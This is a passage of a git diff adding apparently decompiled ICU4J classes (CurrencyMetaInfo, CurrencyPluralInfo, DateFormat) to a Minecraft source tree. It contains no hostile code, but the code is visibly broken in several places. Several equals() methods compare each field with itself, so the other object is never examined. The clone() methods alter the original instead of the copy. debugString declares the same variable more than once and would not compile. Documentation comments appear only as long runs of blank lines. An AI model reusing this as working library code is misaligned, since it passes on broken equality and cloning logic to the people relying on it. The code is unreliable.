+    public static CurrencyFilter all()
+    {
+      return ALL;
+    }
+    
+
+
+
+
+
+    public static CurrencyFilter now()
+    {
+      return ALL.withDate(new Date());
+    }
+    
+
+
+
+
+
+
+    public static CurrencyFilter onRegion(String region)
+    {
+      return ALL.withRegion(region);
+    }
+    
+
+
+
+
+
+
+    public static CurrencyFilter onCurrency(String currency)
+    {
+      return ALL.withCurrency(currency);
+    }
+    
+
+
+
+
+
+
+    public static CurrencyFilter onDate(Date date)
+    {
+      return ALL.withDate(date);
+    }
+    
+
+
+
+
+
+
+
+
+
+    public static CurrencyFilter onDateRange(Date from, Date to)
+    {
+      return ALL.withDateRange(from, to);
+    }
+    
+
+
+
+
+    public static CurrencyFilter onDate(long date)
+    {
+      return ALL.withDate(date);
+    }
+    
+
+
+
+
+
+
+
+
+
+    public static CurrencyFilter onDateRange(long from, long to)
+    {
+      return ALL.withDateRange(from, to);
+    }
+    
+
+
+
+
+    public static CurrencyFilter onTender()
+    {
+      return ALL.withTender();
+    }
+    
+
+
+
+
+
+
+
+    public CurrencyFilter withRegion(String region)
+    {
+      return new CurrencyFilter(region, currency, from, to, tenderOnly);
+    }
+    
+
+
+
+
+
+
+
+    public CurrencyFilter withCurrency(String currency)
+    {
+      return new CurrencyFilter(region, currency, from, to, tenderOnly);
+    }
+    
+
+
+
+
+
+
+    public CurrencyFilter withDate(Date date)
+    {
+      return new CurrencyFilter(region, currency, date.getTime(), date.getTime(), tenderOnly);
+    }
+    
+
+
+
+
+
+
+
+    public CurrencyFilter withDateRange(Date from, Date to)
+    {
+      long fromLong = from == null ? Long.MIN_VALUE : from.getTime();
+      long toLong = to == null ? Long.MAX_VALUE : to.getTime();
+      return new CurrencyFilter(region, currency, fromLong, toLong, tenderOnly);
+    }
+    
+
+
+
+
+
+    public CurrencyFilter withDate(long date)
+    {
+      return new CurrencyFilter(region, currency, date, date, tenderOnly);
+    }
+    
+
+
+
+
+
+
+
+
+
+    public CurrencyFilter withDateRange(long from, long to)
+    {
+      return new CurrencyFilter(region, currency, from, to, tenderOnly);
+    }
+    
+
+
+
+
+    public CurrencyFilter withTender()
+    {
+      return new CurrencyFilter(region, currency, from, to, true);
+    }
+    
+
+
+
+
+    public boolean equals(Object rhs)
+    {
+      return ((rhs instanceof CurrencyFilter)) && (equals((CurrencyFilter)rhs));
+    }
+    
+
+
+
+
+
+
+    public boolean equals(CurrencyFilter rhs)
+    {
+      return (this == rhs) || ((rhs != null) && (equals(region, region)) && (equals(currency, currency)) && (from == from) && (to == to) && (tenderOnly == tenderOnly));
+    }
+    
+
+
+
+
+
+
+
+
+
+    public int hashCode()
+    {
+      int hc = 0;
+      if (region != null) {
+        hc = region.hashCode();
+      }
+      if (currency != null) {
+        hc = hc * 31 + currency.hashCode();
+      }
+      hc = hc * 31 + (int)from;
+      hc = hc * 31 + (int)(from >>> 32);
+      hc = hc * 31 + (int)to;
+      hc = hc * 31 + (int)(to >>> 32);
+      hc = hc * 31 + (tenderOnly ? 1 : 0);
+      return hc;
+    }
+    
+
+
+
+
+
+    public String toString()
+    {
+      return CurrencyMetaInfo.debugString(this);
+    }
+    
+    private static boolean equals(String lhs, String rhs) {
+      return (lhs == rhs) || ((lhs != null) && (lhs.equals(rhs)));
+    }
+  }
+  
+
+
+
+
+
+
+  public static final class CurrencyDigits
+  {
+    public final int fractionDigits;
+    
+
+
+
+
+    public final int roundingIncrement;
+    
+
+
+
+
+
+    public CurrencyDigits(int fractionDigits, int roundingIncrement)
+    {
+      this.fractionDigits = fractionDigits;
+      this.roundingIncrement = roundingIncrement;
+    }
+    
+
+
+
+
+
+    public String toString()
+    {
+      return CurrencyMetaInfo.debugString(this);
+    }
+  }
+  
+
+
+
+
+
+
+  public static final class CurrencyInfo
+  {
+    public final String region;
+    
+
+
+
+
+
+    public final String code;
+    
+
+
+
+
+
+    public final long from;
+    
+
+
+
+
+    public final long to;
+    
+
+
+
+
+    public final int priority;
+    
+
+
+
+
+    private final boolean tender;
+    
+
+
+
+
+
+    /**
+     * @deprecated
+     */
+    public CurrencyInfo(String region, String code, long from, long to, int priority)
+    {
+      this(region, code, from, to, priority, true);
+    }
+    
+
+
+    /**
+     * @deprecated
+     */
+    public CurrencyInfo(String region, String code, long from, long to, int priority, boolean tender)
+    {
+      this.region = region;
+      this.code = code;
+      this.from = from;
+      this.to = to;
+      this.priority = priority;
+      this.tender = tender;
+    }
+    
+
+
+
+
+
+    public String toString()
+    {
+      return CurrencyMetaInfo.debugString(this);
+    }
+    
+
+
+
+
+    public boolean isTender()
+    {
+      return tender;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public List<CurrencyInfo> currencyInfo(CurrencyFilter filter)
+  {
+    return Collections.emptyList();
+  }
+  
+
+
+
+
+
+
+
+
+  public List<String> currencies(CurrencyFilter filter)
+  {
+    return Collections.emptyList();
+  }
+  
+
+
+
+
+
+
+
+
+  public List<String> regions(CurrencyFilter filter)
+  {
+    return Collections.emptyList();
+  }
+  
+
+
+
+
+
+
+  public CurrencyDigits currencyDigits(String isoCode)
+  {
+    return defaultDigits;
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  protected static final CurrencyDigits defaultDigits = new CurrencyDigits(2, 0);
+  
+  static {
+    CurrencyMetaInfo temp = null;
+    boolean tempHasData = false;
+    try {
+      Class<?> clzz = Class.forName("com.ibm.icu.impl.ICUCurrencyMetaInfo");
+      temp = (CurrencyMetaInfo)clzz.newInstance();
+      tempHasData = true;
+    } catch (Throwable t) {
+      temp = new CurrencyMetaInfo();
+    }
+    impl = temp;
+    hasData = tempHasData;
+  }
+  
+  private static String dateString(long date) {
+    if ((date == Long.MAX_VALUE) || (date == Long.MIN_VALUE)) {
+      return null;
+    }
+    GregorianCalendar gc = new GregorianCalendar();
+    gc.setTimeZone(TimeZone.getTimeZone("GMT"));
+    gc.setTimeInMillis(date);
+    return "" + gc.get(1) + '-' + (gc.get(2) + 1) + '-' + gc.get(5);
+  }
+  
+  private static String debugString(Object o)
+  {
+    StringBuilder sb = new StringBuilder();
+    try {
+      for (Field f : o.getClass().getFields()) {
+        Object v = f.get(o);
+        if (v != null) { String s;
+          String s;
+          if ((v instanceof Date)) {
+            s = dateString(((Date)v).getTime()); } else { String s;
+            if ((v instanceof Long)) {
+              s = dateString(((Long)v).longValue());
+            } else
+              s = String.valueOf(v);
+          }
+          if (s != null)
+          {
+
+            if (sb.length() > 0) {
+              sb.append(",");
+            }
+            sb.append(f.getName()).append("='").append(s).append("'");
+          }
+        }
+      }
+    }
+    catch (Throwable t) {}
+    
+
+    sb.insert(0, o.getClass().getSimpleName() + "(");
+    sb.append(")");
+    return sb.toString();
+  }
+  
+  /**
+   * @deprecated
+   */
+  protected CurrencyMetaInfo() {}
+}
diff --git a/src/minecraft/com/ibm/icu/text/CurrencyPluralInfo.java b/src/minecraft/com/ibm/icu/text/CurrencyPluralInfo.java
new file mode 100644
index 0000000..7e8fa33
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/CurrencyPluralInfo.java
@@ -0,0 +1,317 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.CurrencyData;
+import com.ibm.icu.impl.CurrencyData.CurrencyDisplayInfo;
+import com.ibm.icu.impl.CurrencyData.CurrencyDisplayInfoProvider;
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.ULocale.Category;
+import java.io.Serializable;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.Locale;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CurrencyPluralInfo
+  implements Cloneable, Serializable
+{
+  private static final long serialVersionUID = 1L;
+  
+  public CurrencyPluralInfo()
+  {
+    initialize(ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+  public CurrencyPluralInfo(Locale locale)
+  {
+    initialize(ULocale.forLocale(locale));
+  }
+  
+
+
+
+
+  public CurrencyPluralInfo(ULocale locale)
+  {
+    initialize(locale);
+  }
+  
+
+
+
+
+
+  public static CurrencyPluralInfo getInstance()
+  {
+    return new CurrencyPluralInfo();
+  }
+  
+
+
+
+
+
+
+  public static CurrencyPluralInfo getInstance(Locale locale)
+  {
+    return new CurrencyPluralInfo(locale);
+  }
+  
+
+
+
+
+
+
+  public static CurrencyPluralInfo getInstance(ULocale locale)
+  {
+    return new CurrencyPluralInfo(locale);
+  }
+  
+
+
+
+
+
+  public PluralRules getPluralRules()
+  {
+    return pluralRules;
+  }
+  
+
+
+
+
+
+
+
+  public String getCurrencyPluralPattern(String pluralCount)
+  {
+    String currencyPluralPattern = (String)pluralCountToCurrencyUnitPattern.get(pluralCount);
+    if (currencyPluralPattern == null)
+    {
+      if (!pluralCount.equals("other")) {
+        currencyPluralPattern = (String)pluralCountToCurrencyUnitPattern.get("other");
+      }
+      if (currencyPluralPattern == null)
+      {
+
+
+
+
+        currencyPluralPattern = defaultCurrencyPluralPattern;
+      }
+    }
+    return currencyPluralPattern;
+  }
+  
+
+
+
+
+
+
+  public ULocale getLocale()
+  {
+    return ulocale;
+  }
+  
+
+
+
+
+
+
+  public void setPluralRules(String ruleDescription)
+  {
+    pluralRules = PluralRules.createRules(ruleDescription);
+  }
+  
+
+
+
+
+
+
+
+
+  public void setCurrencyPluralPattern(String pluralCount, String pattern)
+  {
+    pluralCountToCurrencyUnitPattern.put(pluralCount, pattern);
+  }
+  
+
+
+
+
+
+
+  public void setLocale(ULocale loc)
+  {
+    ulocale = loc;
+    initialize(loc);
+  }
+  
+
+
+
+  public Object clone()
+  {
+    try
+    {
+      CurrencyPluralInfo other = (CurrencyPluralInfo)super.clone();
+      
+      ulocale = ((ULocale)ulocale.clone());
+      
+
+
+
+      pluralCountToCurrencyUnitPattern = new HashMap();
+      for (String pluralCount : pluralCountToCurrencyUnitPattern.keySet()) {
+        String currencyPattern = (String)pluralCountToCurrencyUnitPattern.get(pluralCount);
+        pluralCountToCurrencyUnitPattern.put(pluralCount, currencyPattern);
+      }
+      return other;
+    } catch (CloneNotSupportedException e) {
+      throw new IllegalStateException();
+    }
+  }
+  
+
+
+
+
+  public boolean equals(Object a)
+  {
+    if ((a instanceof CurrencyPluralInfo)) {
+      CurrencyPluralInfo other = (CurrencyPluralInfo)a;
+      return (pluralRules.equals(pluralRules)) && (pluralCountToCurrencyUnitPattern.equals(pluralCountToCurrencyUnitPattern));
+    }
+    
+    return false;
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  public int hashCode()
+  {
+    if (!$assertionsDisabled) throw new AssertionError("hashCode not designed");
+    return 42;
+  }
+  
+
+
+
+  String select(double number)
+  {
+    return pluralRules.select(number);
+  }
+  
+
+
+
+
+  Iterator<String> pluralPatternIterator()
+  {
+    return pluralCountToCurrencyUnitPattern.keySet().iterator();
+  }
+  
+  private void initialize(ULocale uloc) {
+    ulocale = uloc;
+    pluralRules = PluralRules.forLocale(uloc);
+    setupCurrencyPluralPattern(uloc);
+  }
+  
+  private void setupCurrencyPluralPattern(ULocale uloc) {
+    pluralCountToCurrencyUnitPattern = new HashMap();
+    
+    String numberStylePattern = NumberFormat.getPattern(uloc, 0);
+    
+    int separatorIndex = numberStylePattern.indexOf(";");
+    String negNumberPattern = null;
+    if (separatorIndex != -1) {
+      negNumberPattern = numberStylePattern.substring(separatorIndex + 1);
+      numberStylePattern = numberStylePattern.substring(0, separatorIndex);
+    }
+    Map<String, String> map = CurrencyData.provider.getInstance(uloc, true).getUnitPatterns();
+    for (Map.Entry<String, String> e : map.entrySet()) {
+      String pluralCount = (String)e.getKey();
+      String pattern = (String)e.getValue();
+      
+
+
+      String patternWithNumber = pattern.replace("{0}", numberStylePattern);
+      String patternWithCurrencySign = patternWithNumber.replace("{1}", tripleCurrencyStr);
+      if (separatorIndex != -1) {
+        String negPattern = pattern;
+        String negWithNumber = negPattern.replace("{0}", negNumberPattern);
+        String negWithCurrSign = negWithNumber.replace("{1}", tripleCurrencyStr);
+        StringBuilder posNegPatterns = new StringBuilder(patternWithCurrencySign);
+        posNegPatterns.append(";");
+        posNegPatterns.append(negWithCurrSign);
+        patternWithCurrencySign = posNegPatterns.toString();
+      }
+      pluralCountToCurrencyUnitPattern.put(pluralCount, patternWithCurrencySign);
+    }
+  }
+  
+
+
+
+
+  private static final char[] tripleCurrencySign = { '¤', '¤', '¤' };
+  
+  private static final String tripleCurrencyStr = new String(tripleCurrencySign);
+  
+
+  private static final char[] defaultCurrencyPluralPatternChar = { '\000', '.', '#', '#', ' ', '¤', '¤', '¤' };
+  
+  private static final String defaultCurrencyPluralPattern = new String(defaultCurrencyPluralPatternChar);
+  
+
+
+
+  private Map<String, String> pluralCountToCurrencyUnitPattern = null;
+  
+
+
+
+
+
+
+  private PluralRules pluralRules = null;
+  
+
+  private ULocale ulocale = null;
+}
diff --git a/src/minecraft/com/ibm/icu/text/DateFormat.java b/src/minecraft/com/ibm/icu/text/DateFormat.java
new file mode 100644
index 0000000..ce153e9
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/DateFormat.java
@@ -0,0 +1,2066 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.ICUResourceBundle;
+import com.ibm.icu.impl.RelativeDateFormat;
+import com.ibm.icu.util.Calendar;
+import com.ibm.icu.util.GregorianCalendar;
+import com.ibm.icu.util.TimeZone;
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.ULocale.Category;
+import java.io.InvalidObjectException;
+import java.text.FieldPosition;
+import java.text.Format.Field;
+import java.text.ParseException;
+import java.text.ParsePosition;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.Locale;
+import java.util.Map;
+import java.util.MissingResourceException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class DateFormat
+  extends UFormat
+{
+  protected Calendar calendar;
+  protected NumberFormat numberFormat;
+  public static final int ERA_FIELD = 0;
+  public static final int YEAR_FIELD = 1;
+  public static final int MONTH_FIELD = 2;
+  public static final int DATE_FIELD = 3;
+  public static final int HOUR_OF_DAY1_FIELD = 4;
+  public static final int HOUR_OF_DAY0_FIELD = 5;
+  public static final int MINUTE_FIELD = 6;
+  public static final int SECOND_FIELD = 7;
+  public static final int FRACTIONAL_SECOND_FIELD = 8;
+  public static final int MILLISECOND_FIELD = 8;
+  public static final int DAY_OF_WEEK_FIELD = 9;
+  public static final int DAY_OF_YEAR_FIELD = 10;
+  public static final int DAY_OF_WEEK_IN_MONTH_FIELD = 11;
+  public static final int WEEK_OF_YEAR_FIELD = 12;
+  public static final int WEEK_OF_MONTH_FIELD = 13;
+  public static final int AM_PM_FIELD = 14;
+  public static final int HOUR1_FIELD = 15;
+  public static final int HOUR0_FIELD = 16;
+  public static final int TIMEZONE_FIELD = 17;
+  public static final int YEAR_WOY_FIELD = 18;
+  public static final int DOW_LOCAL_FIELD = 19;
+  public static final int EXTENDED_YEAR_FIELD = 20;
+  public static final int JULIAN_DAY_FIELD = 21;
+  public static final int MILLISECONDS_IN_DAY_FIELD = 22;
+  public static final int TIMEZONE_RFC_FIELD = 23;
+  public static final int TIMEZONE_GENERIC_FIELD = 24;
+  public static final int STANDALONE_DAY_FIELD = 25;
+  public static final int STANDALONE_MONTH_FIELD = 26;
+  public static final int QUARTER_FIELD = 27;
+  public static final int STANDALONE_QUARTER_FIELD = 28;
+  public static final int TIMEZONE_SPECIAL_FIELD = 29;
+  public static final int YEAR_NAME_FIELD = 30;
+  public static final int TIMEZONE_LOCALIZED_GMT_OFFSET_FIELD = 31;
+  public static final int TIMEZONE_ISO_FIELD = 32;
+  public static final int TIMEZONE_ISO_LOCAL_FIELD = 33;
+  public static final int FIELD_COUNT = 34;
+  private static final long serialVersionUID = 7218322306649953788L;
+  public static final int NONE = -1;
+  public static final int FULL = 0;
+  public static final int LONG = 1;
+  public static final int MEDIUM = 2;
+  public static final int SHORT = 3;
+  public static final int DEFAULT = 2;
+  public static final int RELATIVE = 128;
+  public static final int RELATIVE_FULL = 128;
+  public static final int RELATIVE_LONG = 129;
+  public static final int RELATIVE_MEDIUM = 130;
+  public static final int RELATIVE_SHORT = 131;
+  public static final int RELATIVE_DEFAULT = 130;
+  public static final String YEAR = "y";
+  public static final String QUARTER = "QQQQ";
+  public static final String ABBR_QUARTER = "QQQ";
+  public static final String YEAR_QUARTER = "yQQQQ";
+  public static final String YEAR_ABBR_QUARTER = "yQQQ";
+  public static final String MONTH = "MMMM";
+  public static final String ABBR_MONTH = "MMM";
+  public static final String NUM_MONTH = "M";
+  public static final String YEAR_MONTH = "yMMMM";
+  public static final String YEAR_ABBR_MONTH = "yMMM";
+  public static final String YEAR_NUM_MONTH = "yM";
+  public static final String DAY = "d";
+  public static final String YEAR_MONTH_DAY = "yMMMMd";
+  public static final String YEAR_ABBR_MONTH_DAY = "yMMMd";
+  public static final String YEAR_NUM_MONTH_DAY = "yMd";
+  public static final String WEEKDAY = "EEEE";
+  public static final String ABBR_WEEKDAY = "E";
+  public static final String YEAR_MONTH_WEEKDAY_DAY = "yMMMMEEEEd";
+  public static final String YEAR_ABBR_MONTH_WEEKDAY_DAY = "yMMMEd";
+  public static final String YEAR_NUM_MONTH_WEEKDAY_DAY = "yMEd";
+  public static final String MONTH_DAY = "MMMMd";
+  public static final String ABBR_MONTH_DAY = "MMMd";
+  public static final String NUM_MONTH_DAY = "Md";
+  public static final String MONTH_WEEKDAY_DAY = "MMMMEEEEd";
+  public static final String ABBR_MONTH_WEEKDAY_DAY = "MMMEd";
+  public static final String NUM_MONTH_WEEKDAY_DAY = "MEd";
+  public static final String HOUR = "j";
+  public static final String HOUR24 = "H";
+  public static final String MINUTE = "m";
+  public static final String HOUR_MINUTE = "jm";
+  public static final String HOUR24_MINUTE = "Hm";
+  public static final String SECOND = "s";
+  public static final String HOUR_MINUTE_SECOND = "jms";
+  public static final String HOUR24_MINUTE_SECOND = "Hms";
+  public static final String MINUTE_SECOND = "ms";
+  public static final String LOCATION_TZ = "VVVV";
+  public static final String GENERIC_TZ = "vvvv";
+  public static final String ABBR_GENERIC_TZ = "v";
+  public static final String SPECIFIC_TZ = "zzzz";
+  public static final String ABBR_SPECIFIC_TZ = "z";
+  public static final String ABBR_UTC_TZ = "ZZZZ";
+  /**
+   * @deprecated
+   */
+  public static final String STANDALONE_MONTH = "LLLL";
+  /**
+   * @deprecated
+   */
+  public static final String ABBR_STANDALONE_MONTH = "LLL";
+  /**
+   * @deprecated
+   */
+  public static final String HOUR_MINUTE_GENERIC_TZ = "jmv";
+  /**
+   * @deprecated
+   */
+  public static final String HOUR_MINUTE_TZ = "jmz";
+  /**
+   * @deprecated
+   */
+  public static final String HOUR_GENERIC_TZ = "jv";
+  /**
+   * @deprecated
+   */
+  public static final String HOUR_TZ = "jz";
+  
+  public final StringBuffer format(Object obj, StringBuffer toAppendTo, FieldPosition fieldPosition)
+  {
+    if ((obj instanceof Calendar))
+      return format((Calendar)obj, toAppendTo, fieldPosition);
+    if ((obj instanceof Date))
+      return format((Date)obj, toAppendTo, fieldPosition);
+    if ((obj instanceof Number)) {
+      return format(new Date(((Number)obj).longValue()), toAppendTo, fieldPosition);
+    }
+    
+    throw new IllegalArgumentException("Cannot format given Object (" + obj.getClass().getName() + ") as a Date");
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public abstract StringBuffer format(Calendar paramCalendar, StringBuffer paramStringBuffer, FieldPosition paramFieldPosition);
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public StringBuffer format(Date date, StringBuffer toAppendTo, FieldPosition fieldPosition)
+  {
+    calendar.setTime(date);
+    return format(calendar, toAppendTo, fieldPosition);
+  }
+  
+
+
+
+
+
+
+  public final String format(Date date)
+  {
+    return format(date, new StringBuffer(64), new FieldPosition(0)).toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Date parse(String text)
+    throws ParseException
+  {
+    ParsePosition pos = new ParsePosition(0);
+    Date result = parse(text, pos);
+    if (pos.getIndex() == 0) {
+      throw new ParseException("Unparseable date: \"" + text + "\"", pos.getErrorIndex());
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public abstract void parse(String paramString, Calendar paramCalendar, ParsePosition paramParsePosition);
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Date parse(String text, ParsePosition pos)
+  {
+    Date result = null;
+    int start = pos.getIndex();
+    TimeZone tzsav = calendar.getTimeZone();
+    calendar.clear();
+    parse(text, calendar, pos);
+    if (pos.getIndex() != start) {
+      try {
+        result = calendar.getTime();
+
+      }
+      catch (IllegalArgumentException e)
+      {
+        pos.setIndex(start);
+        pos.setErrorIndex(start);
+      }
+    }
+    
+    calendar.setTimeZone(tzsav);
+    return result;
+  }
+  
+
+
+
+
+
+
+
+  public Object parseObject(String source, ParsePosition pos)
+  {
+    return parse(source, pos);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final DateFormat getTimeInstance()
+  {
+    return get(-1, 2, ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static final DateFormat getTimeInstance(int style)
+  {
+    return get(-1, style, ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static final DateFormat getTimeInstance(int style, Locale aLocale)
+  {
+    return get(-1, style, ULocale.forLocale(aLocale));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static final DateFormat getTimeInstance(int style, ULocale locale)
+  {
+    return get(-1, style, locale);
+  }
+  
+
+
+
+
+
+
+
+  public static final DateFormat getDateInstance()
+  {
+    return get(2, -1, ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final DateFormat getDateInstance(int style)
+  {
+    return get(style, -1, ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final DateFormat getDateInstance(int style, Locale aLocale)
+  {
+    return get(style, -1, ULocale.forLocale(aLocale));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final DateFormat getDateInstance(int style, ULocale locale)
+  {
+    return get(style, -1, locale);
+  }
+  
+
+
+
+
+
+
+
+  public static final DateFormat getDateTimeInstance()
+  {
+    return get(2, 2, ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final DateFormat getDateTimeInstance(int dateStyle, int timeStyle)
+  {
+    return get(dateStyle, timeStyle, ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final DateFormat getDateTimeInstance(int dateStyle, int timeStyle, Locale aLocale)
+  {
+    return get(dateStyle, timeStyle, ULocale.forLocale(aLocale));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final DateFormat getDateTimeInstance(int dateStyle, int timeStyle, ULocale locale)
+  {
+    return get(dateStyle, timeStyle, locale);
+  }
+  
+
+
+
+
+  public static final DateFormat getInstance()
+  {
+    return getDateTimeInstance(3, 3);
+  }
+  
+
+
+
+
+
+  public static Locale[] getAvailableLocales()
+  {
+    return ICUResourceBundle.getAvailableLocales();
+  }
+  
+
+
+
+
+
+
+  public static ULocale[] getAvailableULocales()
+  {
+    return ICUResourceBundle.getAvailableULocales();
+  }
+  
+
+
+
+
+
+
+  public void setCalendar(Calendar newCalendar)
+  {
+    calendar = newCalendar;
+  }
+  
+
+
+
+
+
+  public Calendar getCalendar()
+  {
+    return calendar;
+  }
+  
+
+
+
+
+
+  public void setNumberFormat(NumberFormat newNumberFormat)
+  {
+    numberFormat = newNumberFormat;
+    
+
+
+    numberFormat.setParseIntegerOnly(true);
+  }
+  
+
+
+
+
+
+
+  public NumberFormat getNumberFormat()
+  {
+    return numberFormat;
+  }
+  
+
+
+
+
+
+  public void setTimeZone(TimeZone zone)
+  {
+    calendar.setTimeZone(zone);
+  }
+  
+
+
+
+
+
+  public TimeZone getTimeZone()
+  {
+    return calendar.getTimeZone();
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void setLenient(boolean lenient)
+  {
+    calendar.setLenient(lenient);
+  }
+  
+
+
+
+
+  public boolean isLenient()
+  {
+    return calendar.isLenient();
+  }
+  
+
+
+
+
+
+  public int hashCode()
+  {
+    return numberFormat.hashCode();
+  }
+  
+
+
+
+
+
+  public boolean equals(Object obj)
+  {
+    if (this == obj) return true;
+    if ((obj == null) || (getClass() != obj.getClass())) return false;
+    DateFormat other = (DateFormat)obj;
+    return (calendar.isEquivalentTo(calendar)) && (numberFormat.equals(numberFormat));
+  }
+  
+
+
+
+
+
+  public Object clone()
+  {
+    DateFormat other = (DateFormat)super.clone();
+    calendar = ((Calendar)calendar.clone());
+    numberFormat = ((NumberFormat)numberFormat.clone());
+    return other;
+  }
+  
+
+
+
+
+
+
+
+
+  private static DateFormat get(int dateStyle, int timeStyle, ULocale loc)
+  {
+    if (((timeStyle != -1) && ((timeStyle & 0x80) > 0)) || ((dateStyle != -1) && ((dateStyle & 0x80) > 0)))
+    {
+      RelativeDateFormat r = new RelativeDateFormat(timeStyle, dateStyle, loc);
+      return r;
+    }
+    
+    if ((timeStyle < -1) || (timeStyle > 3)) {
+      throw new IllegalArgumentException("Illegal time style " + timeStyle);
+    }
+    if ((dateStyle < -1) || (dateStyle > 3)) {
+      throw new IllegalArgumentException("Illegal date style " + dateStyle);
+    }
+    try {
+      Calendar cal = Calendar.getInstance(loc);
+      DateFormat result = cal.getDateTimeFormat(dateStyle, timeStyle, loc);
+      result.setLocale(cal.getLocale(ULocale.VALID_LOCALE), cal.getLocale(ULocale.ACTUAL_LOCALE));
+      
+      return result;
+    }
+    catch (MissingResourceException e) {}
+    
+    return new SimpleDateFormat("M/d/yy h:mm a");
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected DateFormat() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final DateFormat getDateInstance(Calendar cal, int dateStyle, Locale locale)
+  {
+    return getDateTimeInstance(cal, dateStyle, -1, ULocale.forLocale(locale));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final DateFormat getDateInstance(Calendar cal, int dateStyle, ULocale locale)
+  {
+    return getDateTimeInstance(cal, dateStyle, -1, locale);
